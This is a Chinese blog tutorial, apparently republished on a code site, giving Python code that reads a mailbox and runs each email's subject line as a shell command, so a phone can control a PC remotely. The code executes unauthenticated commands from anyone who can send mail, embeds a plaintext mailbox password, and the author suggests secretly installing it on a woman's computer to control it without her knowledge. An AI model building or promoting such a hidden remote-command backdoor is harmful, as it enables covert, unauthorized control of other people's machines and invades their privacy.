python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现DNS正向查询、反向查询的例子
Apr 25 Python
python检测是文件还是目录的方法
Jul 03 Python
详解python3实现的web端json通信协议
Dec 29 Python
Python 备份程序代码实现
Mar 06 Python
Python 判断 有向图 是否有环的实例讲解
Feb 01 Python
TensorFlow打印tensor值的实现方法
Jul 27 Python
Python使用Shelve保存对象方法总结
Jan 28 Python
Python容器使用的5个技巧和2个误区总结
Sep 26 Python
Python3安装pip工具的详细步骤
Oct 14 Python
如何运行带参数的python脚本
Nov 15 Python
python画蝴蝶曲线图的实例
Nov 21 Python
sklearn+python:线性回归案例
Feb 24 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
总集篇&特番节目先行播出!《SAO Alicization War of Underworld》第2季度TV动画4月25日放送!
2020/03/06 日漫
兼容firefox,chrome的网页灰度效果
2011/08/08 PHP
MySQL 日期时间函数常用总结
2012/06/12 PHP
Codeigniter操作数据库表的优化写法总结
2014/06/12 PHP
学习php设计模式 php实现原型模式(prototype)
2015/12/07 PHP
a标签的css样式四个状态
2021/03/09 HTML / CSS
javascript firefox不显示本地预览图片问题的解决方法
2008/11/12 Javascript
jquery cookie插件代码类
2009/05/26 Javascript
js href的用法
2010/05/13 Javascript
js中数组Array的一些常用方法总结
2013/08/12 Javascript
jquery dialog open后,服务器端控件失效的快速解决方法
2013/12/19 Javascript
js中各种类型的变量在if条件中是true还是false
2014/07/16 Javascript
jQuery创建自定义的选择器用以选择高度大于100的超链接实例
2015/03/18 Javascript
D3.js封装文本实现自动换行和旋转平移等功能
2016/10/14 Javascript
jQuery.Form实现Ajax上传文件同时设置headers的方法
2017/06/26 jQuery
基于Jquery Ajax type的4种类型(详解)
2017/08/02 jQuery
layer弹出层全屏及关闭方法
2018/08/17 Javascript
微信小程序云开发之新手环境配置
2019/05/16 Javascript
JavaScript基础之this和箭头函数详析
2019/09/05 Javascript
vue 中this.$set 动态绑定数据的案例讲解
2021/01/29 Vue.js
[02:19]DOTA2上海特级锦标赛 观赛指南 Spectator Guide
2016/02/04 DOTA
python通过pil模块获得图片exif信息的方法
2015/03/16 Python
Python实现控制台输入密码的方法
2015/05/29 Python
Python编程实现正则删除命令功能
2017/08/30 Python
Tesserocr库的正确安装方式
2018/10/19 Python
python导入pandas具体步骤方法
2019/06/23 Python
python3 下载网络图片代码实例
2019/08/27 Python
python的json中方法及jsonpath模块用法分析
2019/12/06 Python
英国鞋类及配饰零售商:Kurt Geiger
2017/02/04 全球购物
高中语文教学反思
2014/01/16 职场文书
教师个人读书活动总结
2014/07/08 职场文书
保护地球的宣传语
2015/07/13 职场文书
毕业生的自我鉴定表范文
2019/05/16 职场文书
python 如何执行控制台命令与操作剪切板
2021/05/20 Python
叶县这家生产军用电台的兵工厂,人称“四机部”,走出一上将
2022/02/18 无线电
MySQL优化常用的19种有效方法(推荐!)
2022/03/17 MySQL